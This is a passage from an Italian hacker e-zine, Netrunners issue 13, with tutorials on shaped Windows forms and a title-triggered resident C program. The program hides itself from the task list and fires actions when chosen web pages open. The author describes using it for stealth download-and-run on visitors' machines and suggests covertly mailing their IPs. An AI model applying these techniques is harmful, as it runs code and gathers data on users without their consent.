_______ __ __________ \ \ _____/ |\______ \__ __ ____ ____ ___________ ______ / | \_/ __ \ __\ _/ | \/ \ / \_/ __ \_ __ / ___/ / | \ ___/| | | | \ | / | \ | \ ___/| | \|___ \ \____|__ /\___ >__| |____|_ /____/|___| /___| /\___ >__| /____ > \/ \/ \/ \/ \/ \/ \/(r) 4 0 4 -------------------------------------------------------------------------- FrOm Spp to tHe NeT NumEro TrEdiCi -------------------------------------------------------------------------- Sommario: --------- Editoriale ---------- By -=F14m3r=-® Laboratorio di sartoria per windows ----------------------- By Master Automazione di procedure remote via web ------------------------ By Master Videotel e visualizzazione dei fonts di caratteri bit-mapped su vga screen -------------------------- By Master PDF encryption: le opzioni di sicurezza -------------------------- By ADaM HTTP/1.0 very small Reference Guide ----------------------------- By --[ fritz ]-- Linux, C, socket e (soprattutto) select -------------------- By -=F14m3r=-® Mirc 5.51 - Quarta Parte ------------------------ By Darkman Primi passi nell'underground digitale ---------------------------- By Lord Mibo XIII SOCKET : Ovvero paragone tra i vari linguaggi & C. ---------------------------- By Michael Bakunin Una idea sulla creazione di una BACKDOOR... --------------------------- By Michael Bakunin Protocolli di rete ------------------ By legba ========================================================================================== Editoriale -------------- by -=F14m3r=-® -------------- Rieccoci qua, dopo l'estate (calda!) di nuovo davanti al nostro monitor, le dita che accarezzano la tastiera, righe di codice che scorrono sullo schermo, i byte che viaggiano nella grande rete ...e naturalmente il nuovo numero di Netrunners sul nostro hard disk! Gia', siamo arrivati a tredici, e questo e' un numero speciale, perche' il gruppo -=SPP=- (le alucce sono ormai d'obbligo) si arricchisce con due nuovi membri: Mayhem e NikDH. Colgo quindi l'occasione per dare il benvenuto ufficiale ai nuovi SpiPPoLaTorI. Ma passiamo al contenuto di questa rivista... come avete potuto notare dal sommario ci sono ben TRE articoli di Master; in particolare il terzo, che riguarda la programmazione su vga, mi ha fatto tornare in mente i bei tempi in cui programmavo videogiochi su DOS... sigh... Da segnalare ai newbies l'articolo di Lord Mibo XIII, che puo' essere un buon punto di partenza per chi non si sente all'altezza degli articoli di Master :-) Ma non voglio annoiarvi, per cui vi lascio alla lettura di questo numero, solo il tempo per ricordarvi che potete mandare articoli, opinioni, insulti, e quant'altro vi venga in mente a me o a Brigante (Brigante@spippolatori.com). Preferibilmente gli insulti a lui :-)) Have fun! SpP MeMbeR - SpP MeMbeR - SpP MeMbeR -=F14m3r=-® *** flamer@freemail.it SpP MeMbeR - SpP MeMbeR - SpP MeMbeR ========================================================================================== + END #___#___# -= Master =- ##SATOR## SPP MEMBER *** #AREPO# www.spippolatori.com #TENET# master@spippolatori.com #OPERA# ######### ########### #ROTAS# ################################################################################ ################################################################################## ################# ####################### ################ Laboratorio di sartoria per windows. :) ###################### ################ ###################### ############################################################################# Metodo semplice per dare la possibilita' anche ad un mentencatto di ritagliare un form con la sagoma voluta o seguendo i contorni di una immagine. Nota di lavoro: ad esclusivo uso e consumo di veri "smanettoni" :)) Un esempio di applicazione lo si puo' vedere nel client della vecchia backdoor backorifice dove unitamente al form principale con i comandi se ne nota uno ritagliato sulla sinistra con all'interno l'immagine di uno pseudo cinese che strangola una pecora. Sorvolando sulla qualita' morale di quest'ultimo esempio noi potremo a nostra volta usare questo sistema per applicare disegni sagomati all'esterno di nostre applicazioni preesistenti oppure per costruire nuovi applicazioni con form ritagliati. Potrebbe essere possibile fare un programma per inviare sms con form a sagoma di telefonino .. ad esempio io ho usato questo metodo per costruire un form contenente alcuni link a indirizzi web .. ogni bottone rappresentativo di un link stava all'interno di una sua sezione.. quest'ultima era ritagliata con la forma delle lettera iniziali dei link stessi.. una specie di bookmark grafico. Come funziona? il sistema di per se e' conosciuto e semplice: Si definisce per punti una regione-poligono all'interno di un form avendo avuto cura di settare per questo un le coordinate in modlaita' -pixel- usando regione = CreatePolygonRgn(vettore_di_punti, numero_di_punti, ... ) si seleziona questa regione all'interno del proprio form con origine = SetWindowRgn(handle_del_form, regione, ... ) si definisce l'origine di un un oggetto grafico solido all'interno del form origine = CreatePen( PS_SOLID, 2, vbBlack ) origine_grafica = SelectObject(handle_grafico_del_form, origine) si seleziona sull'handle grafico lo stesso poligono di partenza alfa = Polygon(handle_grafico_del_form,vettore_di_punti, numero_di_punti) origine = SelectObject(handle_grafico_del_form, origine_grafica) e quindi si elimina tutto cio' che non fa parte dell'oggetto solido appena definito. alfa = DeleteObject(origine) Avendo definito come -solido- la parte contenuta nel poligono sagoma specificato in precedenza per punti tutto cio' che stara' al suo esterno verra eliminato senza pieta' .. nel caso di un bottone che rientri per solo meta' all'interno del poligono stesso questo verra' tagliato in due cosi' come definenedo un area esterna alla barra del titolo anche questa potrebbe venir segata e sagomata a piacere. Ogni oggetto sul form puo' essere ritagliato .. button, textbox, combo e qualsiasi altra cosa visibile. Il metodo dicevamo non e' complicato .. e' invece abbastanza laborioso andarsi a calcolare tutti i punti del poligono da ritagliare per poi applicare il sistema su un proprio form. nel caso queste semplice programma potebbe tornarvi utile. :) Il tool che segue non e' un qualcosa che puo' essere usato cosi' com'e' ma prevede un minimo di manualita' sul compilatore VB 5 (anche il 6 va bene). I 5 PASSI DA SEGUIRE OTTENERE UN FORM RITAGLIATO SECONDO LE PROPRIE ESIGENZE USANDO IL TOOL -TAGLIA- .. E UN PO' DI IMPEGNO. ;-) ======================================================================================= PASSO 1 ======================================================================================= Come primo passo e' necessario eseguire il tool caricando il programma VB taglia.vbp dalla directory "programam di taglio" contenuta nel file allegato SARTORIA.zip .. ci verra' prensentato un form all'interno del quale apparira' una immagine di un angioletto. L'immagine ovviamente potra' essere cambiata cosi' come le dimensioni del form stesso. Pre cambiare l'immagine bastera' clickare su cambia-immagine ovviamente mettendo nella textbox appena sotto il nome e il path del disegno da sostiuire. Per cambiare le dimensioni del form sara' necessario studiarsi un po' il prog e fare alcune prove. :) ======================================================================================= PASSO 2 ======================================================================================= Premendo su seleziona i punti di taglio si potra' passare a selezionare col mouse la regione da ritagliare all'interno della immagine visualizzata. I punti selezionati verranno mostrati nella list box sulla sinistra. Sbagliano a digitare la selezione sara' cmq possibile premere nuovamente "seleziona i punti di taglio" per cominciare da capo. ======================================================================================= PASSO 3 ======================================================================================= Finito il lavoro di ricamo dopo essersi ricordati di chiudere alla meglio il primo punto selezionato facendolo combaciare con l'ultimo [ in ogni caso il poligono viene chiuso atuomaticamente ma meglio farlo a mano per evitare aree spurie indesiderate ] si dovra' premere "salva il form con il disegno ritagliato". ..a questo punto il programma ha salvato un form dal nome FINITO.FRM contenente le istruzioni ncessarie alla visualizzazione della immagine ritagliata come form a se stante. ======================================================================================= PASSO 4 ======================================================================================= E' necessario quindi dare lo stop al compilatore vb .. rimuovere il form generale FORM1.FRM dalla lista di progetto e caricare al suo posto (con inserisci nuovo form esistente) il form appena creato dal programma tagia -> FINITO.FRM [ la liberia taglia.bas dovra' sempre essere presente ] ======================================================================================= PASSO 5 ======================================================================================= dando il RUN il compilatore richiedera' nuovamente un form di avvio .. selezioneremo dalla combo FORM1 e ed ecco apparire la nostra immagine ritagliata. :) Questo form potra' essere usato a piacere per i propri lavori o unito ad altri come abbellimento. ======================================================================================= IMPORTANTE! ======================================================================================= Sara' necessario ricordarsi di salvare da altra parte il lavoro fatto usando "salva progetto con nome" altrimenti il tutto andra' a sormontarsi al programma originale di taglio. Negli allegati all'interno del file SARTORIA.ZIP e' possibile trovare: 1. un esemio generale di applicazione: ANGIOLETTO Dove si vece un form tradizionale con applicato all'esterno un form ritagliato con immagine interna. [ tipo client backorifice ] 2. un esempio di foratura di form : "floppy dick bucato" dove il form rappresenta un floppy disc da 5'1/4 con la parte centrale forata. 3. un form triangolare .. alla vostra fantasia fare il resto. :)) -= Master =- SPP MEMBER *** www.spippolatori.com master@spippolatori.com ========================================================================================== + END #___#___# -= Master =- ##SATOR## SPP MEMBER *** #AREPO# www.spippolatori.com #TENET# master@spippolatori.com #OPERA# ######### ########### #ROTAS# ################################################################################ ################################################################################# ################# ###################### ################# Automazione di procedure remote via web. ###################### ################ ##################### ############################################################################# Da sempre annoiato dai vari popup banner che i siti free aprono a seguito della loro frequentazione o (peggio) alla chiusura delle pagine visitate mi sono fatto una semplice procedura per eliminare queste window dichiarandole in una lista. Avevo appena scritto le poche righe di sorgente necessario quando quella meravigliosa cosa chiamata serendipity si e' affacciata prepotente mostrandomi una applicazione forse poco pratica ma non per questo meno interessante su un utilizzo meno superficiale del prodotto che avevo appena ultimato. Non saprei dire ancora con precisione l'effettiva utlita' che potrebbe avere riguardo ad applicazioni -maliziose- ma di sicuro per le cose sotto elencate potrebbe rivelarsi utile... se non altro per sapere come implementare il SendKeys del VB sotto C++ o Delphi ..cosa che mi chiedono a ripetizione almeno un paio di persone alla settimana. ;-) in generale il metodo si riferisce all' "eseguire un particolare lavoro su una macchina remota quando sulla stessa viene aperto un nuovo processo avente nel titolo parole chiave che permettano ad un programma server preinstallato di eseguire automaticamente procedure di vario tipo e natura" Ad esempio: -> eseguire un programma da remoto all'atto della frequentazione di un particolare sito web. (il sito potrebbe anche non essere il nostro o semplicemente uno a caso con caratteristiche note di presentazione) Personalmente ho applicato questa cosa per un cliente che aveva le sue pagine su un server free senza possibilita' di pagine asp o cgi. Questo tizio voleva che i suoi utenti eseguissero (senza dover confermare o meno come nel caso degli activex) un programma solo nel caso avessero frequentato una sua pagina web prestabilita .. il programma poteva essere diverso nel tempo e quindi all'atto della visitazione della pagina X gli utenti dovevano scaricarselo in background ed eseguirlo .. tutto stealth. Come dicevo tutto e' cominciato con l'idea di levare i popup banner. Problema di semplice soluzione si potrebbe dire subito.. ma in effetti nel cercare di realizzarlo praticamente si potrebbero trovare diversi intoppi abbastanza rilevanti. Ad esempio si potrebbe confondere le gestione delle classi di un programma -complesso- come internet explorer con quella di un qualsiasi altro programma. Si vederebbe subito la differenza cercando di operare su ambedue con le stesse metodologie. Si sa che per chiudere una windows aperta a video e' sufficiente inviare il messaggio VM_CLOSE trovandosi l'handle della stessa. Purtroppo questo con IE non funziona o al massimo del risultato possibile si ottiene di mandare tutto in crash usando altri tipi di messaggio tipo BN_HILITE. :) Fatto agghiacciante ..a volte funziona a volte no..questo dipende anche dalla raffinata gestione -polimorfica- dei thread sotto windows che permette di chiamare due processi diversi con stessi nomi, titoli, classi e magari soltanto con un sempice identificativo maggiorato di uno. Il povero VM_CLOSE non e' in grado di discriminare tutte questo sottigliezze operative a meno che non si possa sin dall'inizio specificare con esattezza gli oggetti esatti da chiudere per di piu' nell'esatto ordine di cascata. Si puo' pero' risolvere questo problema da veri praticoni semplicmente saltandolo! :) Nel caso del VB basta trovare l'handle di una finestra prestabilita da dover chiudere ed inviare la pressione congiunta dei tasti ALT+F4 alla finestra attiva usando il comodissimo comando SendKeys. Nel caso del C il Sendkeys non c'e' .. o almeno non c'e' come funzione standard in qualche libreria pero' nulla ci vieta di ricostruircelo con poca spesa e fatica. La funzione di sistema (API) per simulare un evento da tastiera (esattamente come il sendkeys) e' keybd_event dalla MSDN si legge: ........................................................................................... VOID keybd_event( BYTE bVk, // virtual-key codice virtuale associato al tasto BYTE bScan, // hardware scan code [ non serve a niente per i nostri scopi ] DWORD dwFlags, // flags .. specifica se il tasto viene premuto o rilasciato // 0=premuto , 2=rilasciato .. e 1?? BOOHH :)) DWORD dwExtraInfo // extrainfo [ pure questo non serve a nulla ] ); ........................................................................................... allora per premere contemporaneamente i tasti ALT + F4 considerando che i valori dei codici virtuali dei tasti realtivi sono ALT -> VK_MENU = &H12 = 0x12 = 18 F4 -> VK_F4 = H&73 = 0x73 = 115 [ nella msdn o alla fine di questo articolo c'e' una lista dettagliata dei VK code ma cmq e' possibile trovare il key code corrispondente di un carattere ascii usando la API di sistema VkKyeScan(carattere_ascii) ........................................................................................... SHORT VkKeyScan( TCHAR ch // carattere da decodificare ); ........................................................................................... ] dovremmo scrivere keybd_event(0x12, 0, 0, 0); keybd_event(0x73, 0, 0, 0); | | | | | | | \___ Flag a 0 per indicare che il tasto viene premuto | \___ KeyCode [ i tasti ALT e F4 vengono premuti contemporaneamente "prima ALT e poi F4" ] e quindi di seguito keybd_event(0x73, 0, 2, 0); keybd_event(0x12, 0, 2, 0); | | | | | | | \___ Flag a 1 per indicare che il tasto viene rilasciato | \___ KeyCode [ i tasti ALT e F4 vengono rilasciati ] .. Detto questo un altro problema si presenta durante la chiusura dei form windows. Sembrava che chiudere un form fosse piu' semplice eh!? :) Un programma che chiude i popup non potra' fare a meno di controllare i titoli di tutte le windows aperte per vedere se ce ne e' uno che corrisponde a quelli dichiarati all'interno di una lista nota. Questo il programma sara' costretto a farlo "ciclicamente" e quindi e' probabile che ogni tanto (anche se non spesso) intoppi in un'altra delle caratteristiche bizzarre di windows: "La rigenerazione dei form-title in fase di chiusura dichiarata del form." :)) Potra' capitare allora la seguene situazione a. inviamo al form il comando di chiusura (sia esso un destroy, alt+f4, close, ecc..) b. windows inizia a chiudere tutti i processi figli inizializzati in coda al thread padre. c. il form viene chiuso. il tempo che intercorre tra i punti "b" e "c" e' generalmente molto piccolo .. nel caso sfortunato che il nostro programma verificasse la solita procedura di killing in quel particolare momento succederebbe questo: a. ci troveremmo con un form windows aperto a titolo originale con gia' la maggior parte delle risorse chiuse e un comando di CLOSE (ALT+F4) in coda di attesa. b. La nostra procedura non potendo verificare la coda del form e trovando lo stesso processo col titolo ancora attivo invierebbe un altro ALT+F4 che windows stesso pero' (avendo gia una chiusura in lista per quel form specifico) passerebbe alla prima finestra attiva subito sotto. ..se avessimo aperto explorer alla pagina A1 con in apertura un popop da killare a titolo A2 ci ritroveremmo chiusi sia A1 che A2 .. nel caso peggiore.. se avessimo aperto solo un processo da killare (cioe' una solo form windows sul desktop!), trovandoci nella situazione sopra, la nostra procedura lo eliminerebbe passando pero' anche un altro ALT+F4 al dektop stesso che ci invierebbe il dialogo per la chiusura generale di windows. La soluzione di questo problema consiste nell'aspettare semplicemente X microsecondi prima di rieseguire la procedura di controllo .. anche 1 secondo .. meglio abbondare. :))) ----------------------------- Gli albori del progetto ----------------------------- tutto e' nato dicevo da una banalita' in Borland c++3 ------------- leva form.c #include #include #include int PASCAL WinMain(HANDLE hInstance, HANDLE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { FILE *f; MSG msg; int k=0,m,n; char s[0xff]; char lista[50][100]; f=fopen("lista.txt","rb"); while(!feof(f)){ fgets(s,30,f); s[strlen(s)-2]=0; if(strlen(s)>3)strcpy(lista[k++],s);} fclose(f); while(TRUE){ PeekMessage(&msg,0,0,0,0); n=GetActiveWindow(); GetWindowText(n,s,0xff); if(strlen(s)>3) for(m=0;m rimuovi il programma -------------------------- leva.htm la sua esecuzione con explorer fara' si che il programam residente in memoria termini la sua esistenza. Altre procedure sono un FAKE HACKING (he he) di una quasiasi pagina web che contenga la parola sicurezza. [installarlo su un computer remoto con solo questa opzione potrebbe causare degli effetti a dir poco esilaranti. :)) ] L'utente con istallato il tool se si trovasse a passare su un sito web con la parola "sicurezza" nel titolo si vedrebbe cambiare il titolo stesso del suo explorer con la scritta "pagina hackerata da pippo xxx volte" .. con xxx come contatore a ripetizione. Per sperimentare anche questa opzione occorrera' crearsi un'altra pagina HTML a nome sito_anti_hacker.htm ----------------------------- sito_anti_hacker.htm Pagina realtiva alla sicurezza informatica ----------------------------- sito_anti_hacker.htm e visualizzarla su explorer (o Netscape) col tool POPUP.C attivo. le altre procedure che ho inserito sono .. l'invio di un messaggio di saluto .. l'invio di una mail col client di posta predefinito .. l'esecuzione ripetuta di notepad con il file leggimi text .. l'esecuzione unica di notepad con il file leggimi.txt Nel file supportini.zip allegato trovate tutti i sorgenti e anche i file html per fare le prove.. Versione per VC ---------------------------------------- PopUpVC.CPP #include #include #include #include int conta=0; int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { FILE *f; int k=0,m,k1; char s[0xff],s1[0xff],s2[0xff]; char lista[50][30]; HANDLE j; // -----Elimina dalla TaskList----------------------------- HINSTANCE carica; typedef DWORD (__stdcall *forma)(DWORD, DWORD); forma RegisterServiceProcess; carica = LoadLibrary("kernel32.dll"); if(carica) { RegisterServiceProcess =(forma)GetProcAddress(carica,"RegisterServiceProcess"); if(RegisterServiceProcess) { RegisterServiceProcess(GetCurrentProcessId(),1); } } FreeLibrary(carica); // -------------------------------------------------------- // -----Importa la lista di sottotitoli-------------------- if((f=fopen("lista.txt","rb"))==NULL) { MessageBox(0,"lista.txt\n","Manca il file:",NULL); exit(0); } while(!feof(f)) { fgets(s,30,f); s[strlen(s)-2]=0; if(strlen(s)>3) { strcpy(lista[k++],s); } } fclose(f); // -------------------------------------------------------- // -----Funzioni------------------------------------------- while(TRUE) { for(k1=0;k1<=0x2000;k1++) { GetWindowText((HINSTANCE)k1,s,0xff); if(strlen(s)>3)for(m=0;m Questo sistema funziona anche con i popup banner // aperti dai vari siti tipo Geocities, Aspide, ed altri .. // // ........................................................ // L'applicazione trovata il cui titolo contiene una delle // Sub-string del file lista.txt viene posta in focus // ........................................................ SetForegroundWindow((HINSTANCE)k1); // ........................................................ // ........................................................ // Quindi cancellata con l'invio dei tasti ALT+F4 // ........................................................ // ALT premuto // | | keybd_event(0x12, 0, 0, 0); // F4 premuto // | | keybd_event(0x73, 0, 0, 0); // ALT rilasciato // | | keybd_event(0x73, 0, 2, 0); // F4 rilasciato // | | keybd_event(0x12, 0, 2, 0); // ........................................................ // ........................................................ // Attende un secondo per evitare di ritrovare l'eco della // applicazione in fase di cancellazione.. altrimenti la stessa // procedura potrebbe inviare un altro ALT-F4 che chiuderebbe // anche il form-window subito sotto. // ........................................................ Sleep(1000); // ........................................................ // con keybd_event si simula la pressione di un tasto // esattamente come col SendKeys del VB } // ----------------------------------------------------------- // -----Elimina il programma dalla memoria------------------- if(strstr(s,"rimuovi il programma")) { exit(0); } // ----------------------------------------------------------- // -----Manda un messaggio di saluto------------------------- if(strstr(s,"fai un salutino")) { MessageBox(0,"Ciao!","Messaggio personale",64); } // ----------------------------------------------------------- // -----Carica il notepad col file leggimi.txt--------------- // si apre una sola volta if(strstr(s,"esegui notepad unico")) { GetWindowsDirectory(s1,0xff); strcat(s1,"\\leggimi.txt"); ShellExecute(j, 0,"notepad", s1, 0, SW_NORMAL); // Capitalizza il titolo della finestra per evitare // che sia reiterato dalla funzione. s[0]='E';SetWindowText((HINSTANCE)k1,s); } // ----------------------------------------------------------- // -----Carica il notepad col file leggimi.txt--------------- // chiudendo notepad si riapre automaticamente :) if(strstr(s,"esegui notepad")) { GetWindowsDirectory(s1,0xff); strcpy(s2,s1); strcat(s1,"\\notepad.exe"); strcat(s2,"\\leggimi.txt"); spawnlp(_P_WAIT,s1,s2,s2, NULL); } // ----------------------------------------------------------- // -----Fake Hacking della pagina "sicurezza"----------------- // Simula un tentativo di hacking (riuscito) ad una qualuqnue // pagina web che riporti nel la parola "sicurezza" #define testo "pagina hackerata da pippo" if(strstr(s,_strlwr("sicurezza"))) { SetWindowText((HINSTANCE)k1,testo); } // ........................................................... if(strstr(s,testo)) { if(conta++>9999)conta=0; strcpy(s1,testo);strcat(s1," ");itoa(conta,s2,10); strcat(s1,s2);strcat(s1," volte."); SetWindowText((HINSTANCE)k1,s1); } // ----------------------------------------------------------- // -----invia una mail col client predefinito----------------- if(strstr(s,"spediscimi")) { ShellExecute(j, 0, "mailto:Master@spippolatori.com?Subject=Ma%20come%20e'%20possibile%20?&Body=Ciao%20Ciao%0d%0ada%20me.", 0, 0, SW_NORMAL); // Per evitare di aprire piu' client ..................... s[0]='S';SetWindowText((HINSTANCE)k1,s); } //------------------altro .. un esempio utile di applicazione: // se viene aperta una pagina htlm di un sito con un determinato titolo // spedisce il contenuto della pagina (conl'ip ad esempio) ad un indirizzo // mail prestabilito. (per verificare chi freqenta quella url senza // avere fisicamente il server a disposizione o dover sotoscrivere account // con altri server per le statistiche. // l'ip e le altre informazioni possono essere messe direttamente nel // titolo della finestra via script per metterle a disposizione del comando // che inviera' il tutto tramite popup. } } } // -------------------------------------------------------- return 0; } ---------------------------------------- PopUpVC.CPP ---------------------------------------- PupUpBCB.CPP #include <stdio.h> #include <string.h> #include <windows.h> #include <process.h> int conta=0; int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { FILE *f; int k=0,m,k1; char s[0xff],s1[0xff],s2[0xff]; char lista[50][30]; HWND j; // -----Elimina dalla TaskList----------------------------- HINSTANCE carica; typedef DWORD (__stdcall *forma)(DWORD, DWORD); forma RegisterServiceProcess; carica = LoadLibrary("kernel32.dll"); if(carica){ RegisterServiceProcess =(forma)GetProcAddress(carica,"RegisterServiceProcess"); if(RegisterServiceProcess){RegisterServiceProcess(GetCurrentProcessId(),1);}} FreeLibrary(carica); // -------------------------------------------------------- // -----Importa la lista di sottotitoli-------------------- f=fopen("lista.txt","rb"); while(!feof(f)){ fgets(s,30,f); s[strlen(s)-2]=0; if(strlen(s)>3)strcpy(lista[k++],s);} fclose(f); // -------------------------------------------------------- // -----Funzioni------------------------------------------- while(TRUE){ for(k1=0;k1<=0x2000;k1++){ GetWindowText((HWND)k1,s,0xff); if(strlen(s)>3)for(m=0;m<k;m++){ // -----Se trova chiude-------------------------------------- if(strstr(s,lista[m])){ // per chiudere una applicazione col close. // SendMessage((HINSTANCE)k1,WM_CLOSE,0,0); // per chiudere invece una applicazione con ALT+F4. // -> Questo sistema funziona anche con i popup banner // aperti dai vari siti tipo Geocities, Aspide, ed altri .. // // ........................................................ // L'applicazione trovata il cui titolo contiene una delle // Sub-string del file lista.txt viene posta in focus // ........................................................ SetForegroundWindow((HWND)k1); // ........................................................ // ........................................................ // Quindi cancellata con l'invio dei tasti ALT+F4 // ........................................................ // ALT premuto // | | keybd_event(0x12, 0, 0, 0); // F4 premuto // | | keybd_event(0x73, 0, 0, 0); // ALT rilasciato // | | keybd_event(0x73, 0, 2, 0); // F4 rilasciato // | | keybd_event(0x12, 0, 2, 0); // ........................................................ // ........................................................ // Attende un secondo per evitare di ritrovare l'eco della // applicazione in fase di cancellazione.. altrimenti la stessa // procedura potrebbe inviare un altro ALT-F4 che chiuderebbe // anche il form-window subito sotto. // ........................................................ Sleep(1000); // ........................................................ // con keybd_event si simula la pressione di un tasto // esattamente come col SendKeys del VB} // ----------------------------------------------------------- // -----Elimina il programma dalla memoria------------------- if(strstr(s,"rimuovi il programma"))exit(0); // ----------------------------------------------------------- // -----Manda un messaggio di saluto------------------------- if(strstr(s,"fai un salutino"))MessageBox(0,"Ciao!","Messaggio personale",64); // ----------------------------------------------------------- // -----Carica il notepad col file leggimi.txt--------------- // si apre una sola volta if(strstr(s,"esegui notepad unico")){ GetWindowsDirectory(s1,0xff); strcat(s1,"\\leggimi.txt"); ShellExecute(j, 0,"notepad", s1, 0, SW_NORMAL); // Capitalizza il titolo della finestra per evitare // che sia reiterato dalla funzione. s[0]='E';SetWindowText((HWND)k1,s);} // ----------------------------------------------------------- // -----Carica il notepad col file leggimi.txt--------------- // chiudendo notepad si riapre automaticamente :) if(strstr(s,"esegui notepad")){ GetWindowsDirectory(s1,0xff); strcpy(s2,s1); strcat(s1,"\\notepad.exe"); strcat(s2,"\\leggimi.txt"); spawnlp(P_WAIT,s1,s2,s2, NULL);} // ----------------------------------------------------------- // -----Fake Hacking della pagina "sicurezza"----------------- #define testo "pagina hackerata da pippo" if(strstr(s,strlwr("sicurezza")))SetWindowText((HWND)k1,testo); // ........................................................... if(strstr(s,testo)){ if(conta++>9999)conta=0; strcpy(s1,testo);strcat(s1," ");itoa(conta,s2,10); strcat(s1,s2);strcat(s1," volte."); SetWindowText((HWND)k1,s1);} // ----------------------------------------------------------- // -----invia una mail col client predefinito----------------- if(strstr(s,"spediscimi")){ ShellExecute(j, 0, "mailto:Master@spippolatori.com?Subject=Ma%20come%20e'%20possibile/?&Body=Ciao%20Ciao%0d%0ada%20me.", 0, 0, SW_NORMAL); // Per evitare di aprire piu' client ..................... s[0]='S';SetWindowText((HWND)k1,s);} //------------------altro .. un esempio utile di applicazione: // se viene aperta una pagina htlm di un sito con un determinato titolo // spedisce il contenuto della pagina (conl'ip ad esempio) ad un indirizzo // mail prestabilito. (per verificare chi freqenta quella url senza // avere fisicamente il server a disposizione o dover sotoscrivere account // con altri server per le statistiche. // l'ip e le altre informazioni possono essere messe direttamente nel // titolo della finestra via script per metterle a disposizione del comando // che inviera' il tutto tramite popup. }}} // -------------------------------------------------------- return 0; } ---------------------------------------- PupUpBCB.CPP e questo e' quanto. Il programma a prima vista sembra piu' semplice di quello che non e' .. in effetti il meccanismo retroattivo non e' semplice ne da progettare ne da capire ma una volta che ci si e presa la mano si possono trovare delle soluzioni ai propri problemi estremamente pratiche e spesso molto "divertenti". Se a qualcuno venisse in mente qualche applicazione "interessante" e' pregato di avvertirmi .. vedremo di implementarla. ;-) -= Master =- SPP MEMBER *** www.spippolatori.com master@spippolatori.com ######################################################################################## ###### ##################################################################### ###### APPENDICE: ##################################################################### ###### ##################################################################### ########################################################################################### //----------------------------------------------------------------------------------------- VK_CODE : //----------------------------------------------------------------------------------------- Costante HEX Descizione ------------------------------------------------------------------- VK_LBUTTON 01 Left mouse button VK_RBUTTON 02 Right mouse button VK_CANCEL 03 Control-break processing VK_MBUTTON 04 Middle mouse button (three-button mouse) VK_BACK 08 BACKSPACE key VK_TAB 09 TAB key VK_CLEAR 0C CLEAR key VK_RETURN 0D ENTER key VK_SHIFT 10 SHIFT key VK_CONTROL 11 CTRL key VK_MENU 12 ALT key VK_PAUSE 13 PAUSE key VK_CAPITAL 14 CAPS LOCK key VK_ESCAPE 1B ESC key VK_SPACE 20 SPACEBAR VK_PRIOR 21 PAGE UP key VK_NEXT 22 PAGE DOWN key VK_END 23 END key VK_HOME 24 HOME key VK_LEFT 25 LEFT ARROW key VK_UP 26 UP ARROW key VK_RIGHT 27 RIGHT ARROW key VK_DOWN 28 DOWN ARROW key VK_SELECT 29 SELECT key VK_EXECUTE 2B EXECUTE key VK_SNAPSHOT 2C PRINT SCREEN key for Windows 3.0 and later VK_INSERT 2D INS key VK_DELETE 2E DEL key VK_HELP 2F HELP key VK_0 30 0 key VK_1 31 1 key VK_2 32 2 key VK_3 33 3 key VK_4 34 4 key VK_5 35 5 key VK_6 36 6 key VK_7 37 7 key VK_8 38 8 key VK_9 39 9 key VK_A 41 A key VK_B 42 B key VK_C 43 C key VK_D 44 D key VK_E 45 E key VK_F 46 F key VK_G 47 G key VK_H 48 H key VK_I 4A J key VK_K 4B K key VK_L 4C L key VK_M 4D M key VK_N 4E N key VK_O 4F O key VK_P 50 P key VK_Q 51 Q key VK_R 52 R key VK_S 53 S key VK_T 54 T key VK_U 55 U key VK_V 56 V key VK_W 57 W key VK_X 58 X key VK_Y 59 Y key VK_Z 5A Z key VK_LWIN 5B Left Windows key (Microsoft Natural Keyboard) VK_RWIN 5C Right Windows key (Microsoft Natural Keyboard) VK_APPS 5D Applications key (Microsoft Natural Keyboard) VK_NUMPAD0 60 Numeric keypad 0 key VK_NUMPAD1 61 Numeric keypad 1 key VK_NUMPAD2 62 Numeric keypad 2 key VK_NUMPAD3 63 Numeric keypad 3 key VK_NUMPAD4 64 Numeric keypad 4 key VK_NUMPAD5 65 Numeric keypad 5 key VK_NUMPAD6 66 Numeric keypad 6 key VK_NUMPAD7 67 Numeric keypad 7 key VK_NUMPAD8 68 Numeric keypad 8 key VK_NUMPAD9 69 Numeric keypad 9 key VK_MULTIPLY 6A Multiply key VK_ADD 6B Add key VK_SEPARATOR 6C Separator key VK_SUBTRACT 6D Subtract key VK_DECIMAL 6E Decimal key VK_DIVIDE 6F Divide key VK_F1 70 F1 key VK_F2 71 F2 key VK_F3 72 F3 key VK_F4 73 F4 key VK_F5 74 F5 key VK_F6 75 F6 key VK_F7 76 F7 key VK_F8 77 F8 key VK_F9 78 F9 key VK_F10 79 F10 key VK_F11 7A F11 key VK_F12 7B F12 key VK_F13 7C F13 key VK_F14 7D F14 key VK_F15 7E F15 key VK_F16 7F F16 key VK_F17 80H F17 key VK_F18 81H F18 key VK_F19 82H F19 key VK_F20 83H F20 key VK_F21 84H F21 key VK_F22 85H F22 key VK_F23 86H F23 key VK_F24 87H F24 key VK_NUMLOCK 90 NUM LOCK key VK_SCROLL 91 SCROLL LOCK key VK_ATTN F6 Attn key VK_CRSEL F7 CrSel key VK_EXSEL F8 ExSel key VK_EREOF F9 Erase EOF key VK_PLAY FA Play key VK_ZOOM FB Zoom key VK_NONAME FC Reserved for future use. VK_PA1 FD PA1 key VK_OEM_CLEAR FE Clear key ------------------------------------------------------------------- //----------------------------------------------------------------------------------------- -= Master =- SPP MEMBER *** www.spippolatori.com master@spippolatori.com ========================================================================================== ######################################################################################## ##### -= Master =- SPP MEMBER *** www.spippolatori.com master@spippolatori.com ##### ######################################################################################## ##### VIDEOTEL E VISUALIZZAZIONE DEI FONTS DI CARATTERI BIT-MAPPED SU VGA SCREEN ##### ######################################################################################## Una delle grosse carenze in rete per quanto riguarda la programmazione su vga e' rappresentata dalla mancanza di materiale che spieghi come visualizzare su schermo i font di caratteri bit mapped. Si trova qualcosa ma sono tutte procedure macchinose e spesso richiedono la presenza ossessiva di files esterni al proprio programma come nel caso file-font chr e dei relativi driver di visualizzazione tipici dei compilatori dos della borland. ( *.chr e drivers *.bgi ) Per quanto la cosa possa sembrare ovvia in effetti poi non lo e' .. o almeno non e' mai nei termini che potrebbero essere intravisti ad una prima valutazione superficiale del problema. Un font bitmapped e' soltanto una fila di caratteri definiti per matrice di punti (generalmente 8x8.. ma non e' detto) .. si trovano migliaia di font cosi' definiti un po' in tutti giochini per dos un po' datati. C'e' chi li chiama anche raw-fonts oppure static-fonts ..ma la sostanza non cambia. :) L'utilita' della loro rappresentazione varia a seconda dei casi .. si va dall'esigenza di progettazione per i file 